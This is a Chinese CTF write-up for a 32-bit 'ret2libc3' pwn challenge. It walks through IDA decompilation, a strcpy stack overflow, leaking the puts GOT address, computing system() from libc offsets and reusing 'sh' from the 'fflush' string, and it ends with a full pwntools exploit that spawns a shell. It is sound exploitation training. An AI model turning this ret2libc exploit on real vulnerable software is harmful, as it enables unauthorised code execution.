作为一名初学者,在碰到很多攻击思路的时候会感觉很妙,比如gadget的构造,这题的sh参数截断。
1、首先分析程序架构和保护措施。
2、使用IDA开始判断程序是否具备最简单的栈溢出执行条件:
- ret2text:不具备,没有shell可执行代码
- ret2shellcode:不具备写入全局区域的入口
- 没有bin/bash可用,也没有system函数可以调用
- 没有完整gadget构造链
3、执行程序,通过IDA分析main函数
int __cdecl main(int argc, const char **argv, const char **envp) { char **v3; // ST04_4 int v4; // ST08_4 char src; // [esp+12h] [ebp-10Eh] char buf; // [esp+112h] [ebp-Eh] int v8; // [esp+11Ch] [ebp-4h] puts("###############################"); puts("Do you know return to library ?"); puts("###############################"); puts("What do you want to see in memory?"); printf("Give me an address (in dec) :"); fflush(stdout); read(0, &buf, 0xAu); v8 = strtol(&buf, v3, v4); See_something(v8); printf("Leave some message for me :"); fflush(stdout); read(0, &src, 0x100u); Print_message(&src); puts("Thanks you ~"); return 0; }
程序首先输出一段文字,然后提醒输入内存地址来查看该地址的内容,通过See_something函数实现。
See_something函数如下:
int __cdecl See_something(_DWORD *a1) { return printf("The content of the address : %p\n", *a1); }
然后读取字符串写入&src,然后将&src指针参数传递给Print_message函数
read(0, &src, 0x100u);
Print_message(&src);
查看Print_message(&src)代码。通过strcpy,将src中的内容拷贝到dest的内存空间中
int __cdecl Print_message(char *src) { char dest; // [esp+10h] [ebp-38h] strcpy(&dest, src); return printf("Your message is : %s", &dest); }
Print_message存在栈溢出点,由于src的可写入空间是0x100,而dest的内存空间只有0x38,通过strcpy可以覆盖ret地址。
4、完整攻击思路:
(1)通过第一次程序读取任意内存位置内容,来读取程序got表中的puts函数实际地址。在程序第一次调用puts函数时,函数指针指向plt,所以通过执行完一次puts后,再读取got表中的实际地址;
(2)由于puts函数地址随机性,通过提供的libc文件计算,puts函数和system函数的偏移量,这两步最终就是为了得到libc中实际的system函数地址;
(3)通过strcpy栈溢出覆盖ret address,让函数ret指向上面已经拿到的system函数;
(4)system函数的参数“sh”并不能在程序中找到,但是可以使用包含sh的任意字符串截断形成参数(这一步太妙了);
5、先简单的画一个堆栈图
当开始执行Print_message(&src)函数的时候,看到esp+0x12的内存地址写入了eax,然后再最终写入当前的esp。也就是将src的内存地址压栈。
0x804864b <main+206> lea eax, [esp + 0x12] 0x804864f <main+210> mov dword ptr [esp], eax
然后执行call Print_message,自动将下一行地址8048657(也就是ret address)push到堆栈,然后进入Print_message开始push ebp,并提升栈底,创建新的堆栈空间。
所以最终在Print_message函数中堆栈图是这样
将程序停留到strcpy执行完后的下一行,不要退出Print_message,观察堆栈情况。
所以要达到能覆盖ret的长度是0xffffd7ec-0xffffd7b0
ret需要指向的system函数地址,通过libc偏移计算,借助pwntools,得到system函数在libc中的实际地址。也可以直接用ida加载libc.so计算。
libc3 = ELF("/lib/i386-linux-gnu/libc.so.6") //先得到puts的got地址 puts_gots_address = elf.got["puts"] //读取puts地址中实际的puts地址 r.sendline(str(puts_gots_address)) s = r.recv() puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16) //通过偏移计算得到system在libc中的真实地址 offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"] system_libc_address = puts_libc_address + offset_libc_address
最后需要找到system函数需要的sh参数
如下图,这里使用fflush字符串的截断,是0x0804829E位置的sh。
然后就可以构造payload,得到shell。
from pwn import * elf = ELF("./ret2libc3") r = process("./ret2libc3") libc3 = ELF("/lib/i386-linux-gnu/libc.so.6") r.recvuntil("Give me an address (in dec) :") puts_gots_address = elf.got["puts"] r.sendline(str(puts_gots_address)) s = r.recv() puts_libc_address = int(s.decode("utf-8").split("The content of the address : ")[1].split("\n")[0],16) offset_libc_address = libc3.symbols["system"]-libc3.symbols["puts"] system_libc_address = puts_libc_address + offset_libc_address offset = 0xffffd7ec-0xffffd7b0 sh_address = 0x0804829E shellcode = flat(offset*'A',system_libc_address,0xdeadbeef,sh_address) r.sendline(shellcode) r.interactive()